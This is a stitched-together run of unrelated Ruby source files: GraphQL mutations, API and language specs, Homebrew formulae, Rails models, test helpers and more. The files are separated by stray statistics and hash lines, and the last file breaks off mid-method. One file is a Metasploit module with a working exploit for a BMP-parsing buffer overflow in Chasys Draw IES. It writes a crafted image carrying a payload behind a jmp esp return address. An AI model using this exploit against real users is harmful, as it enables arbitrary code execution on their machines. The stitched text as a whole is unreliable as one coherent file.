# frozen_string_literal: true module Mutations module AuditEvents module ExternalAuditEventDestinations class Create < Base graphql_name 'ExternalAuditEventDestinationCreate' authorize :admin_external_audit_events argument :destination_url, GraphQL::Types::String, required: true, description: 'Destination URL.' argument :group_path, GraphQL::Types::ID, required: true, description: 'Group path.' field :external_audit_event_destination, ::Types::AuditEvents::ExternalAuditEventDestinationType, null: true, description: 'Destination created.' def resolve(destination_url:, group_path:) group = authorized_find!(group_path) destination = ::AuditEvents::ExternalAuditEventDestination.new(group: group, destination_url: destination_url) audit(destination, action: :create) if destination.save { external_audit_event_destination: (destination if destination.persisted?), errors: Array(destination.errors) } end private def find_object(group_path) ::GroupFinder.new(current_user).execute(path: group_path) end end end end end
31.268293
122
0.662246
61b4b2a59c2e1e02a4ba6461f539ebec0ddc91d2
11,442
# frozen_string_literal: true require 'spec_helper' describe 'a simple mounted api' do before :all do class CustomType; end class SimpleMountedApi < Grape::API desc 'Document root' get do { message: 'hi' } end desc 'This gets something.', notes: '_test_' get '/simple' do { bla: 'something' } end desc 'This gets something for URL using - separator.', notes: '_test_' get '/simple-test' do { bla: 'something' } end head '/simple-head-test' do status 200 end options '/simple-options-test' do status 200 end desc 'this gets something else', headers: { 'XAuthToken' => { description: 'A required header.', required: true }, 'XOtherHeader' => { description: 'An optional header.', required: false } }, http_codes: [ { code: 403, message: 'invalid pony' }, { code: 405, message: 'no ponies left!' } ] get '/simple_with_headers' do { bla: 'something_else' } end desc 'this takes an array of parameters', params: { 'items[]' => { description: 'array of items', is_array: true } } post '/items' do {} end desc 'this uses a custom parameter', params: { 'custom' => { type: CustomType, description: 'array of items', is_array: true } } get '/custom' do {} end end class SimpleApi < Grape::API mount SimpleMountedApi add_swagger_documentation end end def app SimpleApi end describe 'retrieves swagger-documentation on /swagger_doc' do subject do get '/swagger_doc.json' JSON.parse(last_response.body) end specify do expect(subject).to eq( 'info' => { 'title' => 'API title', 'version' => '0.0.1' }, 'swagger' => '2.0', 'produces' => ['application/xml', 'application/json', 'application/octet-stream', 'text/plain'], 'host' => 'example.org', 'tags' => [ { 'name' => 'simple', 'description' => 'Operations about simples' }, { 'name' => 'simple-test', 'description' => 'Operations about simple-tests' }, { 'name' => 'simple-head-test', 'description' => 'Operations about simple-head-tests' }, { 'name' => 'simple-options-test', 'description' => 'Operations about simple-options-tests' }, { 'name' => 'simple_with_headers', 'description' => 'Operations about simple_with_headers' }, { 'name' => 'items', 'description' => 'Operations about items' }, { 'name' => 'custom', 'description' => 'Operations about customs' } ], 'paths' => { '/' => { 'get' => { 'description' => 'Document root', 'produces' => ['application/json'], 'responses' => { '200' => { 'description' => 'Document root' } }, 'operationId' => 'get' } }, '/simple' => { 'get' => { 'description' => 'This gets something.', 'produces' => ['application/json'], 'tags' => ['simple'], 'operationId' => 'getSimple', 'responses' => { '200' => { 'description' => 'This gets something.' } } } }, '/simple-test' => { 'get' => { 'description' => 'This gets something for URL using - separator.', 'produces' => ['application/json'], 'tags' => ['simple-test'], 'operationId' => 'getSimpleTest', 'responses' => { '200' => { 'description' => 'This gets something for URL using - separator.' } } } }, '/simple-head-test' => { 'head' => { 'produces' => ['application/json'], 'responses' => { '200' => { 'description' => 'head SimpleHeadTest' } }, 'tags' => ['simple-head-test'], 'operationId' => 'headSimpleHeadTest' } }, '/simple-options-test' => { 'options' => { 'produces' => ['application/json'], 'responses' => { '200' => { 'description' => 'option SimpleOptionsTest' } }, 'tags' => ['simple-options-test'], 'operationId' => 'optionsSimpleOptionsTest' } }, '/simple_with_headers' => { 'get' => { 'description' => 'this gets something else', 'produces' => ['application/json'], 'parameters' => [ { 'in' => 'header', 'name' => 'XAuthToken', 'description' => 'A required header.', 'type' => 'string', 'required' => true }, { 'in' => 'header', 'name' => 'XOtherHeader', 'description' => 'An optional header.', 'type' => 'string', 'required' => false } ], 'tags' => ['simple_with_headers'], 'operationId' => 'getSimpleWithHeaders', 'responses' => { '200' => { 'description' => 'this gets something else' }, '403' => { 'description' => 'invalid pony' }, '405' => { 'description' => 'no ponies left!' } } } }, '/items' => { 'post' => { 'description' => 'this takes an array of parameters', 'produces' => ['application/json'], 'consumes' => ['application/json'], 'parameters' => [{ 'in' => 'formData', 'name' => 'items[]', 'description' => 'array of items', 'required' => false, 'type' => 'array', 'items' => { 'type' => 'string' } }], 'tags' => ['items'], 'operationId' => 'postItems', 'responses' => { '201' => { 'description' => 'this takes an array of parameters' } } } }, '/custom' => { 'get' => { 'description' => 'this uses a custom parameter', 'produces' => ['application/json'], 'parameters' => [{ 'in' => 'formData', 'name' => 'custom', 'description' => 'array of items', 'required' => false, 'type' => 'array', 'items' => { 'type' => 'CustomType' } }], 'tags' => ['custom'], 'operationId' => 'getCustom', 'responses' => { '200' => { 'description' => 'this uses a custom parameter' } } } } } ) end end describe 'retrieves the documentation for mounted-api' do subject do get '/swagger_doc/simple.json' JSON.parse(last_response.body) end specify do expect(subject).to eq( 'info' => { 'title' => 'API title', 'version' => '0.0.1' }, 'swagger' => '2.0', 'produces' => ['application/xml', 'application/json', 'application/octet-stream', 'text/plain'], 'host' => 'example.org', 'tags' => [ { 'name' => 'simple', 'description' => 'Operations about simples' } ], 'paths' => { '/simple' => { 'get' => { 'description' => 'This gets something.', 'produces' => ['application/json'], 'tags' => ['simple'], 'operationId' => 'getSimple', 'responses' => { '200' => { 'description' => 'This gets something.' } } } } } ) end end describe 'retrieves the documentation for mounted-api that' do describe "contains '-' in URL" do subject do get '/swagger_doc/simple-test.json' JSON.parse(last_response.body) end specify do expect(subject).to eq( 'info' => { 'title' => 'API title', 'version' => '0.0.1' }, 'swagger' => '2.0', 'produces' => ['application/xml', 'application/json', 'application/octet-stream', 'text/plain'], 'host' => 'example.org', 'tags' => [ { 'name' => 'simple-test', 'description' => 'Operations about simple-tests' } ], 'paths' => { '/simple-test' => { 'get' => { 'description' => 'This gets something for URL using - separator.', 'produces' => ['application/json'], 'tags' => ['simple-test'], 'operationId' => 'getSimpleTest', 'responses' => { '200' => { 'description' => 'This gets something for URL using - separator.' } } } } } ) end end describe 'includes headers' do subject do get '/swagger_doc/simple_with_headers.json' JSON.parse(last_response.body) end specify do expect(subject['paths']).to eq( '/simple_with_headers' => { 'get' => { 'description' => 'this gets something else', 'produces' => ['application/json'], 'parameters' => [ { 'in' => 'header', 'name' => 'XAuthToken', 'description' => 'A required header.', 'type' => 'string', 'required' => true }, { 'in' => 'header', 'name' => 'XOtherHeader', 'description' => 'An optional header.', 'type' => 'string', 'required' => false } ], 'tags' => ['simple_with_headers'], 'operationId' => 'getSimpleWithHeaders', 'responses' => { '200' => { 'description' => 'this gets something else' }, '403' => { 'description' => 'invalid pony' }, '405' => { 'description' => 'no ponies left!' } } } } ) end end describe 'supports array params' do subject do get '/swagger_doc/items.json' JSON.parse(last_response.body) end specify do expect(subject['paths']).to eq( '/items' => { 'post' => { 'description' => 'this takes an array of parameters', 'produces' => ['application/json'], 'consumes' => ['application/json'], 'parameters' => [{ 'in' => 'formData', 'name' => 'items[]', 'description' => 'array of items', 'required' => false, 'type' => 'array', 'items' => { 'type' => 'string' } }], 'tags' => ['items'], 'operationId' => 'postItems', 'responses' => { '201' => { 'description' => 'this takes an array of parameters' } } } } ) end end describe 'supports custom params types' do subject do get '/swagger_doc/custom.json' JSON.parse(last_response.body) end specify do expect(subject['paths']).to eq( '/custom' => { 'get' => { 'description' => 'this uses a custom parameter', 'produces' => ['application/json'], 'parameters' => [{ 'in' => 'formData', 'name' => 'custom', 'description' => 'array of items', 'required' => false, 'type' => 'array', 'items' => { 'type' => 'CustomType' } }], 'tags' => ['custom'], 'operationId' => 'getCustom', 'responses' => { '200' => { 'description' => 'this uses a custom parameter' } } } } ) end end end end
35.206154
189
0.468712
e8f6db28b30a6d3cb5516031491fe01cd5603582
1,414
unless defined?(Sass::MERB_LOADED) Sass::MERB_LOADED = true module Sass::Plugin::Configuration # Different default options in a m environment. def default_options @default_options ||= begin version = Merb::VERSION.split('.').map {|n| n.to_i} if version[0] <= 0 && version[1] < 5 root = MERB_ROOT env = MERB_ENV else root = Merb.root.to_s env = Merb.environment end { :always_update => false, :template_location => root + '/public/stylesheets/sass', :css_location => root + '/public/stylesheets', :cache_location => root + '/tmp/sass-cache', :always_check => env != "production", :quiet => env != "production", :full_exception => env != "production" }.freeze end end end config = Merb::Plugins.config[:sass] || Merb::Plugins.config["sass"] || {} if defined? config.symbolize_keys! config.symbolize_keys! end Sass::Plugin.options.merge!(config) require 'sass/plugin/rack' class Sass::Plugin::MerbBootLoader < Merb::BootLoader after Merb::BootLoader::RackUpApplication def self.run # Apparently there's no better way than this to add Sass # to Merb's Rack stack. Merb::Config[:app] = Sass::Plugin::Rack.new(Merb::Config[:app]) end end end
28.857143
76
0.584866
7a5ef27d2060b54b004418ff272370e236519671
4,261
# This file was generated by the `rspec --init` command. Conventionally, all # specs live under a `spec` directory, which RSpec adds to the `$LOAD_PATH`. # The generated `.rspec` file contains `--require spec_helper` which will cause this # file to always be loaded, without a need to explicitly require it in any files. # # Given that it is always loaded, you are encouraged to keep this file as # light-weight as possible. Requiring heavyweight dependencies from this file # will add to the boot time of your test suite on EVERY test run, even for an # individual file that may not need all of that loaded. Instead, consider making # a separate helper file that requires the additional dependencies and performs # the additional setup, and require it from the spec files that actually need it. # # The `.rspec` file also contains a few flags that are not defaults but that # users commonly want. # # See http://rubydoc.info/gems/rspec-core/RSpec/Core/Configuration require "isaac" require "pstore" RSpec.configure do |config| # rspec-expectations config goes here. You can use an alternate # assertion/expectation library such as wrong or the stdlib/minitest # assertions if you prefer. config.expect_with :rspec do |expectations| # This option will default to `true` in RSpec 4. It makes the `description` # and `failure_message` of custom matchers include text for helper methods # defined using `chain`, e.g.: # be_bigger_than(2).and_smaller_than(4).description # # => "be bigger than 2 and smaller than 4" # ...rather than: # # => "be bigger than 2" expectations.include_chain_clauses_in_custom_matcher_descriptions = true end # rspec-mocks config goes here. You can use an alternate test double # library (such as bogus or mocha) by changing the `mock_with` option here. config.mock_with :rspec do |mocks| # Prevents you from mocking or stubbing a method that does not exist on # a real object. This is generally recommended, and will default to # `true` in RSpec 4. mocks.verify_partial_doubles = true end # The settings below are suggested to provide a good initial experience # with RSpec, but feel free to customize to your heart's content. =begin # These two settings work together to allow you to limit a spec run # to individual examples or groups you care about by tagging them with # `:focus` metadata. When nothing is tagged with `:focus`, all examples # get run. config.filter_run :focus config.run_all_when_everything_filtered = true # Limits the available syntax to the non-monkey patched syntax that is recommended. # For more details, see: # - http://myronmars.to/n/dev-blog/2012/06/rspecs-new-expectation-syntax # - http://teaisaweso.me/blog/2013/05/27/rspecs-new-message-expectation-syntax/ # - http://myronmars.to/n/dev-blog/2014/05/notable-changes-in-rspec-3#new__config_option_to_disable_rspeccore_monkey_patching config.disable_monkey_patching! # This setting enables warnings. It's recommended, but in some cases may # be too noisy due to issues in dependencies. config.warnings = true # Many RSpec users commonly either run the entire suite or an individual # file, and it's useful to allow more verbose output when running an # individual spec file. if config.files_to_run.one? # Use the documentation formatter for detailed output, # unless a formatter has already been configured # (e.g. via a command-line flag). config.default_formatter = 'doc' end # Print the 10 slowest examples and example groups at the # end of the spec run, to help surface which specs are running # particularly slow. config.profile_examples = 10 # Run specs in random order to surface order dependencies. If you find an # order dependency and want to debug it, you can fix the order by providing # the seed, which is printed after each run. # --seed 1234 config.order = :random # Seed global randomization in this process using the `--seed` CLI option. # Setting this allows you to use `--seed` to deterministically reproduce # test failures related to randomization by passing the same `--seed` value # as the one that triggered the failure. Kernel.srand config.seed =end end
44.852632
129
0.744192
ac0f1fd4541a137d3791ff71333057a4091dcca6
694
cask 'munki' do version '3.4.1.3557' sha256 '3da472f032a2bd1e37ccaca9d8398f382fe5c0f16f654fe71fb632cd2b7e9bf8' # github.com/munki/munki was verified as official when first introduced to the cask url "https://github.com/munki/munki/releases/download/v#{version.major_minor_patch}/munkitools-#{version}.pkg" appcast 'https://github.com/munki/munki/releases.atom' name 'Munki' homepage 'https://www.munki.org/munki/' pkg "munkitools-#{version}.pkg" uninstall pkgutil: 'com.googlecode.munki.*', launchctl: [ 'com.googlecode.munki.app_usage_monitor', 'com.googlecode.munki.appusaged', ] end
36.526316
112
0.667147
7a0ced1af0d1001f576e0cce0e3dfcdf1cf90705
237
# frozen_string_literal: true module Meals # Join model for Meals and Communities class Invitation < ApplicationRecord acts_as_tenant :cluster belongs_to :meal, class_name: "Meals::Meal" belongs_to :community end end
19.75
47
0.751055
e9b5acfc1e663441a24c4fafcbf159ca7d457b74
673
# -*- coding: utf-8 -*- module DataMapper module Validation module Fixtures class BasketballPlayer # # Behaviors # include DataMapper::Resource # # Properties # property :id, Serial without_auto_validations do property :name, String property :height, Float property :weight, Float end # # Validations # # precision and scale need to be defined for length to be validated validates_numericality_of :height, :weight, :precision => 10 end end # Fixtures end # Validations end # DataMapper
19.228571
75
0.558692
f7d0e42b48da8bcae07df3519517a92d38bfcb9d
1,248
# encoding: UTF-8 Gem::Specification.new do |s| s.platform = Gem::Platform::RUBY s.name = 'spree_hero_carousel' s.version = '0.0.9' s.summary = 'Carousel with large and small images, and optional free-form HTML, for each position' s.description = 'Carousel with large and small images, and optional free-form HTML, for each position' s.required_ruby_version = '>= 2.0.0' s.author = 'Edwin Horneij' s.email = '[email protected]' s.homepage = 'https://www.designyourwall.com' #s.files = `git ls-files`.split("\n") #s.test_files = `git ls-files -- {test,spec,features}/*`.split("\n") s.require_path = 'lib' s.requirements << 'none' s.add_dependency 'spree_core', '~> 3.0.2' s.add_development_dependency 'capybara', '~> 2.4' s.add_development_dependency 'coffee-rails' s.add_development_dependency 'database_cleaner' s.add_development_dependency 'factory_girl', '~> 4.5' s.add_development_dependency 'ffaker' s.add_development_dependency 'rspec-rails', '~> 3.1' s.add_development_dependency 'sass-rails', '~> 5.0.0.beta1' s.add_development_dependency 'selenium-webdriver' s.add_development_dependency 'simplecov' s.add_development_dependency 'sqlite3' end
39
104
0.703526
79ae39004156e0dbd6a1267d03620a5915b08046
6,555
require_relative '../fixtures/classes' require_relative '../fixtures/encoded_strings' describe :array_join_with_default_separator, shared: true do before :each do @separator = $, end after :each do $, = @separator end it "returns an empty string if the Array is empty" do @subject.new([]).send(@method).should == '' end it "returns a US-ASCII string for an empty Array" do @subject.new([]).send(@method).encoding.should == Encoding::US_ASCII end it "returns a string formed by concatenating each String element separated by $," do suppress_warning { $, = " | " @subject.new(["1", "2", "3"]).send(@method).should == "1 | 2 | 3" } end it "attempts coercion via #to_str first" do obj = mock('foo') obj.should_receive(:to_str).any_number_of_times.and_return("foo") @subject.new([obj]).send(@method).should == "foo" end it "attempts coercion via #to_ary second" do obj = mock('foo') obj.should_receive(:to_str).any_number_of_times.and_return(nil) obj.should_receive(:to_ary).any_number_of_times.and_return(["foo"]) @subject.new([obj]).send(@method).should == "foo" end it "attempts coercion via #to_s third" do obj = mock('foo') obj.should_receive(:to_str).any_number_of_times.and_return(nil) obj.should_receive(:to_ary).any_number_of_times.and_return(nil) obj.should_receive(:to_s).any_number_of_times.and_return("foo") @subject.new([obj]).send(@method).should == "foo" end it "raises a NoMethodError if an element does not respond to #to_str, #to_ary, or #to_s" do obj = mock('o') class << obj; undef :to_s; end -> { @subject.new([1, obj]).send(@method) }.should raise_error(NoMethodError) end it "raises an ArgumentError when the Array is recursive" do -> { CollectionSpecs.recursive_array(@subject).send(@method) }.should raise_error(ArgumentError) -> { CollectionSpecs.head_recursive_array(@subject).send(@method) }.should raise_error(ArgumentError) -> { CollectionSpecs.empty_recursive_array(@subject).send(@method) }.should raise_error(ArgumentError) end ruby_version_is ''...'2.7' do it "taints the result if the Array is tainted and non-empty" do @subject.new([1, 2]).taint.send(@method).tainted?.should be_true end it "does not taint the result if the Array is tainted but empty" do @subject.new([]).taint.send(@method).tainted?.should be_false end it "taints the result if the result of coercing an element is tainted" do s = mock("taint") s.should_receive(:to_s).and_return("str".taint) @subject.new([s]).send(@method).tainted?.should be_true end it "untrusts the result if the Array is untrusted and non-empty" do @subject.new([1, 2]).untrust.send(@method).untrusted?.should be_true end it "does not untrust the result if the Array is untrusted but empty" do @subject.new([]).untrust.send(@method).untrusted?.should be_false end it "untrusts the result if the result of coercing an element is untrusted" do s = mock("untrust") s.should_receive(:to_s).and_return("str".untrust) @subject.new([s]).send(@method).untrusted?.should be_true end end it "uses the first encoding when other strings are compatible" do ary1 = CollectionSpecs.array_with_7bit_utf8_and_usascii_strings(@subject) ary2 = CollectionSpecs.array_with_usascii_and_7bit_utf8_strings(@subject) ary3 = CollectionSpecs.array_with_utf8_and_7bit_binary_strings(@subject) ary4 = CollectionSpecs.array_with_usascii_and_7bit_binary_strings(@subject) @subject.new(ary1).send(@method).encoding.should == Encoding::UTF_8 @subject.new(ary2).send(@method).encoding.should == Encoding::US_ASCII @subject.new(ary3).send(@method).encoding.should == Encoding::UTF_8 @subject.new(ary4).send(@method).encoding.should == Encoding::US_ASCII end it "uses the widest common encoding when other strings are incompatible" do ary1 = CollectionSpecs.array_with_utf8_and_usascii_strings(@subject) ary2 = CollectionSpecs.array_with_usascii_and_utf8_strings(@subject) @subject.new(ary1).send(@method).encoding.should == Encoding::UTF_8 @subject.new(ary2).send(@method).encoding.should == Encoding::UTF_8 end it "fails for arrays with incompatibly-encoded strings" do ary_utf8_bad_binary = CollectionSpecs.array_with_utf8_and_binary_strings(@subject) -> { ary_utf8_bad_binary.send(@method) }.should raise_error(EncodingError) end ruby_version_is "2.7" do context "when $, is not nil" do before do suppress_warning do $, = '*' end end it "warns" do -> { [].join }.should complain(/warning: \$, is set to non-nil value/) end end end end describe :array_join_with_string_separator, shared: true do it "returns a string formed by concatenating each element.to_str separated by separator" do obj = mock('foo') obj.should_receive(:to_str).and_return("foo") @subject.new([1, 2, 3, 4, obj]).send(@method, ' | ').should == '1 | 2 | 3 | 4 | foo' end it "uses the same separator with nested arrays" do @subject.new([1, [2, [3, 4], 5], 6]).send(@method, ":").should == "1:2:3:4:5:6" @subject.new([1, [2, CollectionSpecs::MyArray[3, 4], 5], 6]).send(@method, ":").should == "1:2:3:4:5:6" end ruby_version_is ''...'2.7' do describe "with a tainted separator" do before :each do @sep = ":".taint end it "does not taint the result if the array is empty" do @subject.new([]).send(@method, @sep).tainted?.should be_false end it "does not taint the result if the array has only one element" do @subject.new([1]).send(@method, @sep).tainted?.should be_false end it "taints the result if the array has two or more elements" do @subject.new([1, 2]).send(@method, @sep).tainted?.should be_true end end describe "with an untrusted separator" do before :each do @sep = ":".untrust end it "does not untrust the result if the array is empty" do @subject.new([]).send(@method, @sep).untrusted?.should be_false end it "does not untrust the result if the array has only one element" do @subject.new([1]).send(@method, @sep).untrusted?.should be_false end it "untrusts the result if the array has two or more elements" do @subject.new([1, 2]).send(@method, @sep).untrusted?.should be_true end end end end
36.016484
107
0.676583
bf5d910ffad3b58c17156b17e963fee57583987e
865
require 'spec_helper' describe "gws_monitor_admins", type: :feature, dbscope: :example do let(:site) { gws_site } let(:g1) { create(:gws_group, name: "#{site.name}/g-#{unique_id}") } let(:g2) { create(:gws_group, name: "#{site.name}/g-#{unique_id}") } let(:item1) do create( :gws_monitor_topic, attend_group_ids: [g1.id, g2.id], state: 'public', article_state: 'open', spec_config: 'my_group', answer_state_hash: { g1.id.to_s => "answered", g2.id.to_s => "preparation" } ) end context "with auth" do before { login_gws_user } it "#index" do item1 visit gws_monitor_admins_path(site) expect(page).to have_content(item1.name) expect(page).to have_content('回答状況(1/2)') end it "#new" do visit new_gws_monitor_admin_path(site) expect(page).to have_content('基本情報') end end end
28.833333
124
0.643931
ff4950d0376a71916b87d54946bc411e248ae5dc
512
module Dossier class Query attr_reader :string, :report def initialize(report) @report = report @string = report.sql.dup end def to_s compile end private def compile string.gsub(/\w*\:[a-z]{1}\w*/) { |match| escape(report.public_send(match[1..-1])) } end def escape(value) if value.respond_to?(:map) "(#{value.map { |v| escape(v) }.join(', ')})" else report.dossier_client.escape(value) end end end end
16.516129
90
0.558594
6aae8e2303c598561862eae247306a0fd2842048
830
require 'songdown_compiler/nodes/chords_line' require 'songdown_compiler/nodes/lyrics_line' class SongdownCompiler class VersesHandler def self.handle_common_verse(lines) lines.each_with_index.map do |line, i| current_line_number = i + 1 # Undo 0-based index # Every odd-numbered line is chords. Every other line is lyrics. if current_line_number.odd? SongdownCompiler::Nodes::ChordsLine.new line else SongdownCompiler::Nodes::LyricsLine.new line end end end def self.handle_chords_verse(lines) lines.map do |line| SongdownCompiler::Nodes::ChordsLine.new line end end def self.handle_lyrics_verse(lines) lines.map do |line| SongdownCompiler::Nodes::LyricsLine.new line end end end end
25.151515
72
0.678313
61179b2cf3e0f59dff42ae064add64c3609a1f6a
186
class AddOauthSettings < ActiveRecord::Migration[5.1] def change add_column :applications, :oauth_precedence, :string, default: "global,user,application_instance,course" end end
31
108
0.784946
79b24e651e5365ef6462d433830524e5616f6a21
3,507
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::FILEFORMAT def initialize(info={}) super(update_info(info, 'Name' => "Chasys Draw IES Buffer Overflow", 'Description' => %q{ This module exploits a buffer overflow vulnerability found in Chasys Draw IES (version 4.10.01). The vulnerability exists in the module flt_BMP.dll, while parsing BMP files, where the ReadFile function is used to store user provided data on the stack in an insecure way. It results in arbitrary code execution under the context of the user viewing a specially crafted BMP file. This module has been tested successfully with Chasys Draw IES 4.10.01 on Windows XP SP3 and Windows 7 SP1. }, 'License' => MSF_LICENSE, 'Author' => [ 'Christopher Gabriel', # Vulnerability Discovery 'Longinos Recuero Bustos', # PoC 'Javier \'soez\'', # PoC 'juan vazquez' # Metasploit ], 'References' => [ [ 'CVE', '2013-3928' ], [ 'OSVDB', '95689' ], [ 'BID', '61463' ], [ 'URL', 'http://secunia.com/advisories/53773/' ], [ 'URL', 'http://longinox.blogspot.com/2013/08/explot-stack-based-overflow-bypassing.html' ] ], 'Payload' => { 'Space' => 21112, # Indeed there is more space available on the stack, just limited by the trigger 'DisableNops' => true }, 'Platform' => 'win', 'Targets' => [ [ 'Chasys Draw IES 4.10.01 / Windows XP SP3 / Windows 7 SP1', { 'Offset' => 65536, 'Ret' => 0x10005fd3 # jmp esp # from flt_BMP.dll v4.10.1.0 } ], ], 'Privileged' => false, 'DisclosureDate' => '2013-07-26', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf.bmp']), ]) end def exploit bof = rand_text(target['Offset']) bof << [target.ret].pack("V") bof << payload.encoded bitmap_header = "" bitmap_header << [0x28].pack("V") # HeaderSize bitmap_header << [0x4a3].pack("V") # Width # Used to trigger the overflow bitmap_header << [0x1].pack("V") # Height bitmap_header << [0x9].pack("v") # Planes # Used to trigger the overflow bitmap_header << [0x41].pack("v") # BitCount # Used to trigger the overflow bitmap_header << [0x0].pack("V") # Compression bitmap_header << [bof.length].pack("V") # SizeImage bitmap_header << [0x0].pack("V") # PelsPerMeterX bitmap_header << [0x0].pack("V") # PelsPerMeterY bitmap_header << [0x0].pack("V") # ClrUse bitmap_header << [0x0].pack("V") # ClrImportant total_size = bof.length + bitmap_header.length + 14 # 14 => file header length file_header = "" file_header << "BM" # Signature file_header << [total_size].pack("V") # Size file_header << [0].pack("V") # Reserved file_header << [0x36].pack("V") # BitsOffsets bmp = file_header + bitmap_header + bof file_create(bmp) end end
36.154639
114
0.558027
79231911600350cd42cbabc8bc8ba627e095b83b
1,824
class Aubio < Formula desc "Extract annotations from audio signals" homepage "https://aubio.org/" url "https://aubio.org/pub/aubio-0.4.9.tar.bz2" sha256 "d48282ae4dab83b3dc94c16cf011bcb63835c1c02b515490e1883049c3d1f3da" revision 2 livecheck do url "https://aubio.org/pub/" regex(/href=.*?aubio[._-]v?(\d+(?:\.\d+)+)\.t/i) end bottle do sha256 cellar: :any, arm64_big_sur: "f6db53233e1b2855491b4b9310a579e4ac51c3dab7ac426f5c1c64b2fc0820f0" sha256 cellar: :any, monterey: "90c6f81ecc23cf88ef8a800b6fefd8487dcdb6f9606e427b5fbfebe678b8a2fb" sha256 cellar: :any, big_sur: "53bc8066ab50f4e4c24aad5f31e96f1ce0abac84930e5fcce43fa8f6083a878e" sha256 cellar: :any, catalina: "9b24159cf4c8adbb1a78c5cab192453ebebd47260612d38005683ff093250b45" sha256 cellar: :any, mojave: "653f41a951b87cf01049ed6a7019a3d2c96e635fc16d3be4d5edf3225b0a5f52" sha256 cellar: :any, high_sierra: "d6cc3ba3c3a257f4d5b4c1c3a9c0c8cca4fccf09ffc682901888d26c039886a8" end depends_on "libtool" => :build depends_on "pkg-config" => :build depends_on "numpy" depends_on "[email protected]" def install # Needed due to issue with recent clang (-fno-fused-madd)) ENV.refurbish_args system Formula["[email protected]"].opt_bin/"python3", "./waf", "configure", "--prefix=#{prefix}" system Formula["[email protected]"].opt_bin/"python3", "./waf", "build" system Formula["[email protected]"].opt_bin/"python3", "./waf", "install" system Formula["[email protected]"].opt_bin/"python3", *Language::Python.setup_install_args(prefix) bin.env_script_all_files(libexec/"bin", PYTHONPATH: ENV["PYTHONPATH"]) end test do system "#{bin}/aubiocut", "--verbose", "/System/Library/Sounds/Glass.aiff" system "#{bin}/aubioonset", "--verbose", "/System/Library/Sounds/Glass.aiff" end end
41.454545
106
0.726425
5d7ab9118c0e201248b1144914797e6e1d5e016a
448
require File.dirname(__FILE__) + '/../../../spec_helper.rb' module Spec module Runner module Formatter describe "ProgressBarFormatterDryRun" do before(:each) do @io = StringIO.new @formatter = ProgressBarFormatter.new(@io) @formatter.dry_run = true end it "should not produce summary on dry run" do @formatter.dump_summary(3, 2, 1, 0) @io.string.should eql("") end end end end end
20.363636
59
0.638393
18249fd9c5855400cb2ec10b93bdd993a9e58b3d
1,486
# frozen_string_literal: true require 'spec_helper' require_relative '../../../lib/rubocop/cop/sorbet/constants_from_strings' RSpec.describe(RuboCop::Cop::Sorbet::ConstantsFromStrings, :config) do subject(:cop) { described_class.new(config) } def message(method_name) "Don't use `#{method_name}`, it makes the code harder to understand, less editor-friendly, " \ "and impossible to analyze. Replace `#{method_name}` with a case/when or a hash." end describe('offenses') do it('disallows constantize') do expect_offense(<<~RUBY) klass = "Foo".constantize ^^^^^^^^^^^ #{message('constantize')} RUBY end it('disallows const_get with receiver') do expect_offense(<<~RUBY) klass = Object.const_get("Foo") ^^^^^^^^^ #{message('const_get')} RUBY end it('disallows const_get without receiver') do expect_offense(<<~RUBY) klass = const_get("Foo") ^^^^^^^^^ #{message('const_get')} RUBY end it('disallows constants with receiver') do expect_offense(<<~RUBY) klass = Object.constants.select { |c| c.name == "Foo" } ^^^^^^^^^ #{message('constants')} RUBY end it('disallows constants without receiver') do expect_offense(<<~RUBY) klass = constants.select { |c| c.name == "Foo" } ^^^^^^^^^ #{message('constants')} RUBY end end end
28.576923
98
0.580754
b9a664e6a46e0363d3531f0516b238f7a9c48a8a
1,602
# frozen_string_literal: true require "net/http" EXAMPLE_APP_DIR = File.expand_path(File.join("..", "example"), __dir__) RSpec.describe "Express" do before(:context) do @app = AppRunner.new("npm run start", EXAMPLE_APP_DIR) @app.run @app.wait_for_start!("Example app listening at") end after(:context) { @app.stop } after { @app.cleanup } describe "/" do before do @result = Net::HTTP.get(URI("http://localhost:4010/?foo=bar")) end it "renders the index page" do expect(@result).to match(/Hello World!/) end it "sets the root span's name" do log = @app.logs span_id = fetch_root_span_id(log) expect(log).to include("Set name 'GET /' for span '#{span_id}'") end end describe "/dashboard" do before do @result = Net::HTTP.get(URI("http://localhost:4010/dashboard?foo=bar")) end it "renders the page" do expect(@result).to match("Dashboard for user") end it "sets the root span's name" do log = @app.logs span_id = fetch_root_span_id(log) expect(log).to include("Set name 'GET /dashboard' for span '#{span_id}'") end end describe "/admin/dashboard" do before do @result = Net::HTTP.get(URI("http://localhost:4010/admin/dashboard?foo=bar")) end it "renders the page" do expect(@result).to include("Dashboard for admin") end it "sets the root span's name" do log = @app.logs span_id = fetch_root_span_id(log) expect(log).to include("Set name 'GET /admin/dashboard' for span '#{span_id}'") end end end
25.03125
85
0.631086
5dd441fc93c94383e6b68b76118e4815238042a2
2,633
require 'fetchers/base_list_fetcher' module VCAP::CloudController class PackageListFetcher < BaseListFetcher class << self def fetch_all(message:) filter(message, joined_dataset) end def fetch_for_spaces(message:, space_guids:) dataset = joined_dataset.where(table_column_name(AppModel, :space_guid) => space_guids) filter(message, dataset) end def fetch_for_app(message:) app_dataset = AppModel.where(guid: message.app_guid).eager(:space, :organization) app = app_dataset.first return [nil, nil] unless app dataset = PackageModel.dataset.select_all(PackageModel.table_name). join(AppModel.table_name, guid: :app_guid). where(table_column_name(AppModel, :guid) => message.app_guid) [app, filter(message, dataset)] end private def table_column_name(table_class, name) "#{table_class.table_name}__#{name}".to_sym end def joined_dataset PackageModel.dataset.select_all(PackageModel.table_name). join(AppModel.table_name, guid: :app_guid) end def filter(message, dataset) if message.requested? :states dataset = dataset.where(table_column_name(PackageModel, :state) => message.states) end if message.requested? :types dataset = dataset.where(table_column_name(PackageModel, :type) => message.types) end if message.requested? :guids dataset = dataset.where(table_column_name(PackageModel, :guid) => message.guids) end if message.requested? :app_guids dataset = dataset.where(table_column_name(AppModel, :guid) => message.app_guids) end if message.requested? :space_guids dataset = dataset.where(table_column_name(AppModel, :space_guid) => message.space_guids) end if message.requested? :organization_guids dataset = dataset. join(:spaces, guid: :space_guid). join(:organizations, id: :organization_id). where(Sequel[:organizations][:guid] => message.organization_guids). qualify(:packages) end if message.requested?(:label_selector) dataset = LabelSelectorQueryGenerator.add_selector_queries( label_klass: PackageLabelModel, resource_dataset: dataset, requirements: message.requirements, resource_klass: PackageModel, ) 